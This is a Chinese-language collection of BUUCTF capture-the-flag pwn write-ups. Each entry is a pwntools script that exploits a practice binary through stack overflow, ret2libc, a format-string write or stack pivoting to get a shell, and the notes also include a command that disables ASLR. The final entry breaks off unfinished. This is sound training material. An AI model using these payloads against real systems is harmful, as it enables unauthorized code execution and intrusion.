常见函数

read函数

ssize_t read(int fd, void *buf, size_t count);

  • fd:文件描述符,指明从哪个文件或设备读取数据。
  • buf:指向缓冲区的指针,这个缓冲区用于存储从文件描述符读取的数据。
  • count:要读取的最大字节数。

返回值是实际读取的字节数;如果文件结束,则返回 0;如果发生错误,则返回 -1。

write函数

ssize_t write(int fd, const void *buf, size_t count);

  • fd:文件描述符,指明向哪个文件或设备写入数据。
  • buf:指向含有要写入数据的缓冲区的指针。
  • count:要写入的字节数。

返回值是实际写入的字节数;如果发生错误,则返回 -1。

puts函数

int puts(const char *s);

返回值是一个非负整数,表示成功;如果发生错误,则返回 EOF

关ASLR随机化

1
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Buuctf

pwn1_sctf_2016

1
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF

变量 s 存储在当前函数的栈帧中,相对于ESP的偏移量是 0x1C,相对于EBP的偏移量是 -0x3C。因此,s 在栈帧中的位置是在 ebp-0x3C + 0x1C。最多读取32(3C-1C)个字符

fgets函数会检查输入的长度并限制输入的长度

1
fgets(s, 32, edata);

"I"和"you"互换

1
replace((std::string *)v3);

故payload = 20个"I" + 4(32位ebp长度) + get_flag()函数地址

1
2
3
4
5
6
7
8
9
from pwn import *

context.update(os='linux', arch='amd64', log_level='debug')
p = remote("node4.buuoj.cn",27741)

payload = b'I'*20 + b'a'*4 + p32(0x8048F0D)

p.sendline(payload)
p.interactive()

jarvisoj_level0

1
2
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
return read(0, buf, 0x200uLL);

缓冲区大小为128字节,而read函数试图读取最多512字节的数据到这个缓冲区中,标准输入中的数据量超过了缓冲区的大小

1
2
3
4
5
6
7
8
9
from pwn import *

context.update(os='linux', arch='amd64', log_level='debug')
p = remote("node4.buuoj.cn",25782)

payload = b'a'*(0x80) + b'a'*8 + p64(0x400596)

p.sendline(payload)
p.interactive()

[第五空间2019 决赛]PWN5

格式化字符串漏洞:printf() 函数的参数被定义为可变的,printf() 函数从栈中取出参数,如果它需要 3 个,那它就取出 3 个。除非栈的边界被标记了,否则 printf() 是不会知道它取出的参数比提供给它的参数多了。

checksec 有 Canary 保护

输入探测格式化字符串的payload:

1
AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x
  • "AAAA":填充格式化字符串中的一部分,只用来填充位置
  • "%p":这是一个格式化字符串占位符,以十六进制格式输出栈上的参数,并保证输出的宽度为8个字符
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context.update(os='linux', arch='amd64', log_level='debug')
p = remote("node4.buuoj.cn",25782)

leak_addr = 0x804C044

p.recvuntil('your name:')
payload = p32(leak_addr) + b'%10$n'
p.sendline(payload)

p.recvuntil('your passwd:') #与shell进行交互
p.sendline(b'4')

p.interactive()

payload原理:

1
payload = p32(leak_addr) + b'%10$n'
  • %10: 这是一个格式化字符串占位符,用于将写入的字符数(即写入到先前提到的p32(leak_addr)`指向的地址的字符数)写入指定的地址。
  • $n: 这是一个字段选择器,指定了参数的索引。在这个例子中,它表示在参数列表中选择第10个参数。

因为0x804C044是4个字节,所以密码是4

jarvisoj_level2

payload p32 第一个是call _system,第二个是 /bin/sh 的地址

1
2
3
4
5
6
7
8
9
from pwn import *

context.update(os='linux', arch='amd64', log_level='debug')
p = remote("node4.buuoj.cn",29853)

payload = b'a'*(0x88) + b'a'*4 + p32(0x0804849E) + p32(0x0804a024)

p.sendline(payload)
p.interactive()

ciscn_2019_n_8

ELF32

1
2
3
4
5
6
7
8
9
10
from pwn import *

context.update(os='linux', arch='amd64', log_level='debug')
p = remote("node4.buuoj.cn",29853)

payload = b'a' * (13*4) + p32(17) + p32(0)#qword/栈对齐

p.recv()
p.sendline(payload)
p.interactive()

ciscn_2019_c_1

在encrypt加密函数中的gets函数可以构造栈溢出,shift+f12找不到"system""/bin/sh"等字符串,需要利用ret2libc

libcsearcher枚举试库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import*
from LibcSearcher import *

context.update(os='linux', arch='amd64', log_level='debug')
pr0cess = remote("node4.buuoj.cn",28976)
elf = ELF("./ciscn_2019_c_1")

plt = elf.plt['puts']
got = elf.got['puts']
pop_rdi = 0x400c83
main = 0x400b28
ret_addr = 0x4006b9

pr0cess.recv()
pr0cess.sendline(b"1")
pr0cess.recvuntil(b"encrypted\n")

payload = b"a"*0x58+p64(pop_rdi)+p64(got)+p64(plt)+p64(main)

pr0cess.sendline(payload)

pr0cess.recvuntil(b"Ciphertext\n")
pr0cess.recvuntil(b"\n")

puts_addr = u64(pr0cess.recv(6).ljust(0x8, b"\x00")) #puts函数地址

libc = LibcSearcher("puts", puts_addr)
base_addr = puts_addr-libc.dump("puts") #程序基地址

pr0cess.recv()
pr0cess.sendline(b"1")
pr0cess.recvuntil(b"encrypted\n")

sys_addr = base_addr+libc.dump('system')
bin_sh = base_addr+libc.dump('str_bin_sh')

payload=b"a"*0x58+p64(ret_addr)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)

pr0cess.sendline(payload)

pr0cess.interactive()

bjdctf_2020_babystack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

p = remote("node4.buuoj.cn", 26693)
elf = ELF('./bjdctf_2020_babystack')

plt = elf.plt['puts']
got = elf.got['puts']

context.update(os='linux', arch='amd64', log_level='debug')

ret = 0x0000000000400561 # ROPgadget --binary ./bjdctf_2020_babystack --ropchain | grep 'ret'
func_bin_sh = 0x00000000004006E6 # shiftf12

pop_rdi_ret = 0x0000000000400833 # ROPgadget --binary ./bjdctf_2020_babystack --ropchain | grep 'rdi' | grep 'ret'
bin_sh = 0x0000000000400858 # shiftf12
system_addr = elf.symbols["system"]

# 解法一:
# p.sendlineafter(b"Please input the length of your name:", "35")
# p.recv()
# payload = b'a' * 16 + b"b" * 8 + p64(ret) + p64(func_bin_sh)

# 解法二:
p.sendlineafter(b"Please input the length of your name:", "46")
p.recv()
payload = b'a' * 16 + b"b" * 8 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)

p.sendline(payload)


p.interactive()

jarvisoj_level2_x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.update(os='linux', arch='amd64', log_level='debug')
p = remote("node4.buuoj.cn", 29935)

backdoor = 0x600A90
system = 0x400603 # 恰好是system函数
pop_rdi_ret = 0x4006b3

payload = b'a' * (0x80+8) + p64(pop_rdi_ret) + p64(backdoor) + p64(system)

p.sendline(payload)

p.interactive()

[HarekazeCTF2019]baby_rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.update(os='linux', arch='amd64', log_level='debug')
p = remote("node4.buuoj.cn", 27206)

backdoor = 0x0000000000601048
system = 0x00000000004005E3
pop_rdi_ret = 0x0000000000400683

payload = b'a' * (0x10+8) + p64(pop_rdi_ret) + p64(backdoor) + p64(system)

p.sendline(payload)

p.interactive()

bjdctf_2020_babyrop2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

context.update(os='linux', arch='amd64', log_level='debug')
p = remote('node4.buuoj.cn',25449)
elf = ELF('bjdctf_2020_babyrop2')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
gift = 0x400814
pop_rdi = 0x0000000000400993

p.recv()

payload = '%7$p'
p.recvuntil("I'll give u some gift to help u!\n")
p.sendline(payload)

p.recvuntil('0x')
canary = int(p.recv(16), 16)
print(hex(canary))

p.recvuntil("Pull up your sword and tell me u story!\n")
payload = 'a' * 0x18 + p64(canary) + 'a' * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(gift)
p.sendline(payload)

puts_addr = u64(p.recv(6).ljust(8, '\x00'))
print(hex(puts_addr))

base = puts_addr - 0x6f6a0
system = base + 0x453a0
bin_sh = base + 0x18ce17

p.recvuntil('Pull up your sword and tell me u story!\n')
payload = 'a' * 0x18 + p64(canary) + 'a' * 8 + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(gift)

p.sendline(payload)

p.interactive()

get_started_3dsctf_2016

32位ELF文件,函数参数直接压入栈中

调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1-> ··· ->参数1

调用者清理栈为外平栈,自身清理栈为内平栈,

main函数的gets溢出,调用get_flag(int a1, int a2)函数,函数的返回地址为exit,然后传入参数 a1 == 0x308CD64F && a2 == 0x195719D1 ,这样会先赋值然后exit清栈防止栈上的异常(描述不是很严谨..

1
2
3
4
5
6
7
8
9
from pwn import *

context.update(os='linux', arch='amd64', log_level='debug')
p = remote("node5.buuoj.cn","27276")

payload = b'a'*(0X38) + p32(0x080489A0) + p32(0x0804E6A0) + p32(0x308CD64F) + p32(0x195719D1)

p.sendline(payload)
p.interactive()

others_shellcode

netcat

[OGeek2019]babyrop

strlen()函数遇到'\0'停止运行('\0'==''),就会执行下面的exit(0)

''是用来覆盖v5的,详见IDA [ebp-2Ch] 到 [ebp-25h] 为 7 个字节,最后那个就用''覆盖,这样后面的read就能溢出了

主要逻辑:通过write获得libc地址,要接3个参数write(1,addr,len)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import sys

context.binary = "./pwn"
context.log_level = "debug"
elf = context.binary

io = remote("node5.buuoj.cn",29317)
libc = ELF("./libc-2.23.so")

Payload = b'\x00' + b'aaaaaa' + b'\xff'
io.sendline(Payload)
io.recv()
leak = flat(cyclic(0xE7 + 4), elf.plt['write'], 0x8048825, 1, elf.got['write'], 4)
io.sendline(leak)
libc.address = u32(io.recv(4)) - libc.sym['write']
success("libc -> {:#x}".format(libc.address))
pause()

io.sendline(Payload)
rop = flat(cyclic(0xE7 + 4), libc.sym['system'], 'aaaa', next(libc.search(b"/bin/sh")))
io.sendline(rop)
io.interactive()

ciscn_2019_n_5

name[100]写入shellcode

text[30]跳转到bss段上的shellcode执行

1
a1: char text[30]; // [rsp+0h] [rbp-20h] BYREF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context(arch="amd64", os="linux")

io = remote("node5.buuoj.cn",25673)

payload = asm(shellcraft.sh())

io.recvuntil(b"tell me your name\n")

io.sendline(payload)

leak = cyclic(0x20)+b"a"*8+p64(0x00601080)

io.recvuntil(b"What do you want to say to me?\n")

io.sendline(leak)

io.interactive()

ciscn_2019_en_2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python
# -*- coding=UTF-8 -*-

from pwn import *
from LibcSearcher import *

context.update(os='linux', arch='amd64', log_level='debug')
sh = remote('node5.buuoj.cn',27205)
elf = ELF('./ciscn_2019_en_2')

pop_rdi = 0x400c83
main_addr = 0x400B28
ret = 0x4006b9
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

sh.recvuntil(b'Input your choice!\n')
sh.sendline(b"1")

# 这里建议payload用b"\0"截断,不然gets会持续读取内存直到遇到 null 字符为止到,切片的时候会难切一点,当然如果乐意不截断当我没说
# 初学者可能会这样想,这个程序没有PIE,相当于地址是固定的,那我不是可以直接IDA找到函数libc地址查表然后直接写嘛。当然不是,在没有运行之前,plt表jmp的地址是0x0000没有的,运行后才会有地址,这时才能判断对应libc版本
# payload这样写是因为我们还没有执行过puts函数,其中got表是用来修改plt表使之jmp到正确的puts函数的地址,否则直接写plt还是要jmp回去一遍修改plt下的代码使指针指向正确的plt表,这样写的目的也就是最快且直接调用目标函数的方法
payload = b"\x00" + b"a" * (0x50 + 7) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

sh.recvuntil(b'Input your Plaintext to be encrypted\n')
sh.sendline(payload)

# 用来接收Ciphertext和\n
# puts("Ciphertext");
# return puts(s);
sh.recvline()
sh.recvline()

puts_addr = u64(sh.recvuntil(b'\n')[:-1].ljust(8, b'\0'))
print(puts_addr)

libc = LibcSearcher('puts', puts_addr)
offset = puts_addr - libc.dump('puts')
binsh = offset + libc.dump('str_bin_sh')
system = offset + libc.dump('system')

sh.sendlineafter(b'choice!\n', b'1')

payload = b'\0' + b'a' * (0x57)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

sh.sendlineafter(b'encrypted\n', payload)

sh.interactive()

not_the_same_3dsctf_2016

这个地方要注意elf.sym["exit"]不能用0xdeadbeef替代,退出地址只能是exit,0xdeadbeef并没有指向exit函数的代码

https://www.cnblogs.com/jy030515/articles/16418810.html

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context.update(arch='amd64', os='linux',log_level='debug')

elf = ELF('not_the_same_3dsctf_2016')
sh = remote('node5.buuoj.cn',27132)

payload = b'A'*0x2D + p32(0x080489A0) + p32(elf.sym['printf']) + p32(elf.sym["exit"]) + p32(0x080ECA2D)#padding+get_secret()+printf+exit+bss:fl4g

sh.sendline(payload)

sh.interactive()

ciscn_2019_ne_5

case 1case 4 可知,由于 dest 先对于 ebp 的 offset 为 0x48 ,而 src 的偏移为 0xFC ,所以为如果在 case 1 中往 src 写入足够长的字符串,再通过 case 4 将 src 复制到 dest 中就还可以进行栈溢出。

只需要覆盖 dest 的 0x48 字节以及 pre-ebp 的 0x4 字节,再填写需要执行的 system('sh') 就可以拿到shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context.log_level = 'debug'
p = remote('node5.buuoj.cn', 28697)

system = 0x080484D0
sh = 0x080482ea # --string "sh"
main = 0x08048722
payload = b'a' * 0x4c + p32(system) + p32(0xdeadbeef) + p32(sh) #"system"函数调用"/bin/sh"要加占位符作为返回地址,32位就是4个字节b"a"*4,这里用的是万能的p32()转成4个字节,p32()里随便写8个16进制数就可以

p.sendlineafter(b'password:',b'administrator')
p.sendlineafter(b'Exit\n:',b"1")
p.sendlineafter(b'info:',payload)
p.sendlineafter(b'Exit\n:',b"4")

p.interactive()

铁人三项(第五赛区)_2018_rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from LibcSearcher import LibcSearcher
from pwn import *

context.log_level = 'debug'
sh = remote('node5.buuoj.cn',25107)
elf = ELF('./2018_rop')

write_got = elf.got['write']
write_plt = elf.plt['write']
main = elf.symbols['main']

leak = b'a' * 0x88 + b'a' * 4 + p32(write_plt) + p32(main) + p32(0x1) + p32(write_got) + p32(
0x4) # write: 参数1是模式,“1”为写模式,参数2在栈上其实是一个地址,它会将这个地址上存的字符串给打印出来,参数3是打印字符串的长度
sh.sendline(leak)
write_addr = u32(sh.recv(4)) # 接收write地址

libc = LibcSearcher('write', write_addr) # libc6-i386_2.27-3ubuntu1_amd64
offset = write_addr - libc.dump('write')

system_addr = libc.dump('system') + offset
bin_sh = libc.dump('str_bin_sh') + offset
payload = b'a' * (0x88 + 4) + p32(system_addr) + p32(0x0) + p32(bin_sh)

sh.sendline(payload)
sh.interactive()

bjdctf_2020_babyrop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from LibcSearcher import LibcSearcher

context.log_level = 'debug'
sh = remote('node5.buuoj.cn', 26755)
elf = ELF('./bjdctf_2020_babyrop')

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x00000000004006AD
pop_rdi = 0x0000000000400733

# 在64位程序中,函数的前六个参数是通过寄存器来传递的,而不是通过堆栈。其中,第一个参数是通过rdi寄存器来传递的。所以在构造payload时,我们需要先将puts_got放入rdi寄存器
# 这就需要用到pop_rdi这个gadget。然后再返回到puts_plt,执行puts函数。
# 所以,64位程序的payload是 padding + p64(pop_rdi) + p64(put_got) + p64(put_plt) + p64(main_addr)
# 32位程序的payload是 padding + p32(puts_plt) + p32(main_addr) + p32(puts_got)
payload = b'A' * (0x20 + 0x8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
sh.sendlineafter(b'Pull up your sword and tell me u story!\n', payload)

puts_addr = u64(sh.recv(6).ljust(8, b'\x00'))
print(puts_addr)
libc = LibcSearcher("puts", puts_addr)

offset = puts_addr - libc.dump('puts')
bin_sh = libc.dump('str_bin_sh') + offset
system_addr = libc.dump('system') + offset
payload = b'A' * (0x20 + 0x8) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr) + p64(0x0)
sh.sendline(payload)

sh.interactive()

总结(以put函数为例):

64位程序的payload是 padding + p64(pop_rdi) + p64(put_got) + p64(put_plt) + p64(main_addr)

32位程序的payload是 padding + p32(puts_plt) + p32(main_addr) + p32(puts_got)

bjdctf_2020_babystack2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context.log_level = 'debug'
sh = remote('node5.buuoj.cn', 26865)

backdoor = 0x0000000000400726

sh.sendlineafter(b'Please input the length of your name:\n', b'-1')

payload = b'A' * 0x10 + b'A' * 8 + p64(backdoor)

sh.sendlineafter(b"What's u name?\n", payload)

sh.interactive()

jarvisoj_fm

1
2
STACK CANARY
Canary found

格式化字符串

1
2
3
pwn@pwn:~/Desktop/PWN/PWN$ ./fm
aaaa %p %p %p %p %p %p %p %p %p %p %p
aaaa 0xffa2596c 0x50 0x1 (nil) 0x1 0xf7f98a30 0xffa25a84 0xffffffff 0xf7f646b8 0x25 0x61616161

栈偏移为11个单位

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

context.log_level = 'debug'
sh = remote('node5.buuoj.cn', 25562)

x_addr = 0x0804A02C
payload = p32(x_addr) + b"%11$n"#$n表示将到目前为止已经打印的字符数写入参数指向的内存位置
sh.sendline(payload)

sh.interactive()

ciscn_2019_es_2

栈迁移

这里借用printf函数的一个特性:printf会根据%s遍历输出字符串, 直到遇到\0为止。由于payload1中没有\0结尾, 所以printf会一直读取s缓冲区之后的栈数据, 作为字符串输出。导致printf不仅输出了s缓冲区的内容, 还输出ebp的地址和栈上的其他数据

payload2 0x38 = s[40] (40字节) + pre-ebp (4字节) + 函数返回地址(4字节) + payload2长度(4+4+4+4字节) + 栈对齐padding(2字节)

具体原理:

  • 填充 A * 4
    • 这四个字节用来覆盖原先存储的 ebp (基址指针)。
  • system_addr
    • system 函数的地址(来自elf.symbols["system"] )。它的作用是执行一个系统命令。
  • p32(0)
    • system函数会将栈顶值作为参数。这里填充0 ,目的是让 system 不接收任何额外参数。
  • ebp_addr - 0x38 + 0x10 + b"/bin/sh"
    • 这里的计算是为了确定将字符串 "/bin/sh" 存储在栈上的正确位置。当 system 被调用时,它会寻找栈上的字符串作为要执行的命令。"/bin/sh" 是标准的 shell 命令。
  • payload.ljust(0x28, b'')
    • 用空字符('')填充payload直至达到0x28字节,这部分对控制流劫持不重要。
  • p32(ebp_addr - 0x38)
    • 用先前泄露的ebp减掉0x38,计算出一个栈地址。这个地址将会覆盖函数的返回地址,用于后续劫持控制流。
  • p32(leave_ret_addr)
    • leave_ret_addrleave指令的地址。 leave指令常用于函数返回前的栈清理,等效于 mov esp, ebp; pop ebp;。结合 ret 指令,这步将控制流跳转到 leave 指令。

栈情况如下:

1
2
3
4
5
6
[填充数据] 
[system函数地址]
[0] // system函数的假参数
["/bin/sh"字符串的地址]
[...] // 不重要
[新的返回地址,指向leave指令]
  • 劫持执行:vul函数准备返回时,由于payload中修改过的返回地址,程序流程会跳转到leave指令。
  • leave的妙用:leave 指令( mov esp, ebp; pop ebp;) 执行后,esp (栈指针) 刚好指向 system 函数的地址。
  • ret的触发:紧随 leave 之后的 ret 指令会 pop 当前 esp 的值,并跳转到该值所指向的地址。因此,执行相当于 ret system();,直接调用了 system 函数。
  • 命令执行: 因为栈布局的设置,system 函数接收到了栈上的 "/bin/sh" 字符串作为参数, 从而执行了shell命令,为攻击者提供交互式控制。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.log_level = 'debug'
sh = remote('node5.buuoj.cn', 27199)
elf = ELF('./ciscn_2019_es_2')

payload1 = b"a" * 0x24 + b"b" * 0x4
sh.recvuntil(b"Welcome, my friend. What's your name?\n")
sh.send(payload1)
sh.recvuntil(b"bbbb") # 这4字节只起一个定位的作用,因为后面跟着ebp地址
ebp_addr = u32(sh.recv(4))

leave_ret_addr = 0x080485FD
system_addr = elf.symbols["system"]
payload2 = b'A' * 4 + p32(system_addr) + p32(0) + p32(ebp_addr - 0x38 + 0x10) + b"/bin/sh" # 0x38可替代为40+4+4+16+2
payload2 = payload2.ljust(0x28, b'\x00') + p32(ebp_addr - 0x38) + p32(leave_ret_addr)
sh.send(payload2)
sh.interactive()

jarvisoj_tell_me_something

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

context.log_level = 'debug'
sh = remote('node5.buuoj.cn', 27031)

backdoor = 0x0000000000400620
payload = b'A' * 0x88 + p64(backdoor)

sh.sendlineafter(b"Input your message:\n",payload)

sh.interactive()

[HarekazeCTF2019]baby_rop2

ret2libc:libc6_2.23-0ubuntu10_amd64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

#p = process('./babyrop2')
p = remote("node5.buuoj.cn", 29428)
elf = ELF('babyrop2')

pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
format_str = 0x0000000000400770 #%s所在字符串
ret_addr = 0x0000000000400734

printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main']

payload = b'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)
#函数调用约定 先rdi 再rsi 是因为没有pop_rsi才用pop_rsi_r15 所以要设置r15=0

p.recvuntil(b"name? ")
p.sendline(payload)

read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')

sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = b'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)+p64(0)
p.sendline(payload)
p.interactive()
1
2
3
cd /home/babyrop2

cat flag

pwn2_sctf_2016

LibcSearcher试遍均segment fault,只能用现成的偏移

以前的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *
from LibcSearcher import *
import sys

context(arch='amd64', os='linux', log_level='debug', terminal="/bin/sh")
elf = ELF('./pwn2_sctf_2016')
sh = remote("node5.buuoj.cn",26421)

pad = '0' * 48
vuln_addr = 0x0804852f
format_addr = 0x080486f8
printf_addr = 0x08048370
printf_got_addr = 0x0804a00c
anchor_symbol = 'printf'

# 通过溢出得到printf的内存地址
sh.recvuntil('read?'.encode())
sh.sendline('-1'.encode())
sh.recvline()
payload = pad.encode() + p32(printf_addr) + p32(vuln_addr) + p32(format_addr) + p32(printf_got_addr)
sh.sendline(payload)
# sh.recvline()
sh.recvuntil('said: ')
sh.recvuntil('said: ')
# content = sh.recvline()[10:14]
# mem_printf_addr = int.from_bytes(content, 'little')
mem_printf_addr = u32(sh.recv(4))
print("printf: %#x -> %s" % (printf_got_addr, hex(mem_printf_addr)))

# 通过溢出得到atoi的内存地址
atoi_got_addr = 0x0804a01c
sh.recvuntil('read?'.encode())
sh.sendline('-1'.encode())
sh.recvline()
payload = pad.encode() + p32(printf_addr) + p32(vuln_addr) + p32(format_addr) + p32(atoi_got_addr)
sh.sendline(payload)
# sh.recvline()
sh.recvuntil('said: ')
sh.recvuntil('said: ')
# content = sh.recvline()[10:14]
# mem_printf_addr = int.from_bytes(content, 'little')
mem_atoi_addr = u32(sh.recv(4))
print("atoi: %#x -> %s" % (atoi_got_addr, hex(mem_atoi_addr)))

mem_addr = mem_printf_addr

# 通过新版LibcSearcher得到系统函数偏移地址。因为得到的结果是错误的,因此注释掉
# obj = LibcSearcher(anchor_symbol, mem_addr) # 使用一个已知符号地址作为初始约束,初始化 LibcSearcher
# obj.add_condition("__libc_start_main", mem_main_addr) # 添加一个约束条件
# idx = 0
# if len(sys.argv) >= 2:
# idx = int(sys.argv[len(sys.argv) - 1])
# objlen = len(obj)
# obj.select_libc(idx)
# print("%d/%d -> %s " % (idx, objlen, obj))
# libc_anchor_offset = obj.dump(anchor_symbol)
# libc_system_offset = obj.dump('system')
# libc_binsh_offset = obj.dump('str_bin_sh')

# 通过老版本LibcSearcher得到的偏移地址,直接拷贝过来的
libc_anchor_offset = 0x49020
libc_system_offset = 0x3a940
libc_binsh_offset = 0x15902b

# libc_anchor_offset = libc.sym[anchor_symbol]
# libc_system_offset = libc.sym['system']
# libc_binsh_offset = next(libc.search(b'/bin/sh'))
mem_libc_base = mem_addr - libc_anchor_offset
mem_system_addr = mem_libc_base + libc_system_offset
mem_binsh_addr = mem_libc_base + libc_binsh_offset
print(" binsh=%x, system=%x" % (mem_binsh_addr, mem_system_addr))

# 通过单字节发送将系统地址存在gmon_start_got_addr处。如果系统地址中无0x00字节,完全不需要此步骤
gmon_start_got_addr = 0x0804a014
gmon_start_plt_addr = 0x08048390
getn_addr = 0x080484e3
for i in range(0, 4):
sh.recvuntil('read?')
sh.sendline('-1'.encode())
sh.recvline()
payload1 = pad.encode() + p32(getn_addr) + p32(vuln_addr) + p32(gmon_start_got_addr + i) + p32(0x12345678)
sh.sendline(payload1)
sh.recvline()
pos_start = 2 * (4 - i)
pos_end = pos_start + 2
onebyte = hex(mem_system_addr)[pos_start:pos_end]
print("==>" + onebyte)
if int(onebyte, 16) == 0:
sh.send(p8(0))
else:
sh.sendline(p8(int(onebyte, 16)))

# 通过溢出得到gmon_start_got_addr地址,验证地址是否写入成功,非必须,可以删除
sh.recvuntil('read?'.encode())
sh.sendline('-1'.encode())
sh.recvline()
payload = pad.encode() + p32(printf_addr) + p32(vuln_addr) + p32(format_addr) + p32(gmon_start_got_addr)
sh.sendline(payload)
# sh.recvline()
sh.recvuntil('said: ')
sh.recvuntil('said: ')
# content = sh.recvline()[10:14]
# mem_printf_addr = int.from_bytes(content, 'little')
mem_gmon_start_addr = u32(sh.recv(4))
print("gmon_start: %#x -> %s" % (gmon_start_got_addr, hex(mem_gmon_start_addr)))

# 通过system("/bin/sh")获取shell
sh.recvuntil('read?'.encode())
sh.sendline('-1'.encode())
sh.recvline()
payload1 = pad.encode() + p32(gmon_start_plt_addr) + p32(vuln_addr) + p32(mem_binsh_addr)
sh.sendline(payload1)

sh.interactive()

picoctf_2018_rop chain

IDA反汇编比较语句

1
2
.text:08048693 cmp     [ebp+arg_0], 0DEADBAADh
.text:080485E9 cmp [ebp+arg_0], 0BAAAAAADh

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
from pwn import *

context.update(log_level='debug')

p = remote('node5.buuoj.cn',29147)
elf = ELF('./pwn')

win_func1_addr = 0x080485CB
win_func2_addr = 0x080485D8
flag_func_addr = 0x0804862B

payload = b"A" * 0x18 + b"B" * 0x4 + p32(win_func1_addr) + p32(win_func2_addr) + p32(flag_func_addr) + p32(0xBAAAAAAD) + p32(0xDEADBAAD)
p.recvuntil(b"Enter your input> ")
p.send(payload)

p.interactive()

jarvisoj_level3

官方github仓库给的libc是错误的,实际是libc-2.23.so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

p = remote("node5.buuoj.cn", 27047)
elf = ELF('level3')

libc = ELF('libc-2.23.so')

write_plt = elf.plt['write']
write_got = elf.got['write']
vuln_addr = elf.symbols['vulnerable_function']

p.recvuntil('\n')

payload = b'a' * (0x88 + 4) + p32(write_plt) + p32(vuln_addr) + p32(1) + p32(write_got) + p32(4)

p.sendline(payload)

write_real_addr = u32(p.recv(4))
libc_base = write_real_addr - libc.symbols['write']

log.info('libc_base: '.format(hex(libc_base)))

system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

payload = b'a' * (0x88 + 4) + p32(system_addr) + p32(0x12345678) + p32(bin_sh)

p.recvuntil('\n')
p.sendline(payload)

p.interactive()

ciscn_2019_s_3

关键在通过泄露出来的代码段0x400536地址对应的栈地址找到 /bin/sh 的偏移

1
2
buf = byte ptr -10h
lea rsi, [rsp+buf]

gdb在SYS_write这个地方看到rsp-0x10往上走0x7fffffffdd08这个栈地址对应的代码地址为0x400536,我们泄露出来这个位置——为什么要泄露这个地址,因为前后无法泄露不是有效的栈地址,而是一些junk数据和变量数据,我们泄露0x400536这个位置,得到的就是栈地址,将这个栈地址往前走,0x0a70756574697277(当然这个地方是gdb调试随便输的数据,实际exp写的是/bin/sh),这个地方栈里面存放的就是bin/sh,算出来存放0x400536的栈地址-0x118刚好是bin/sh00的栈地址

gdb

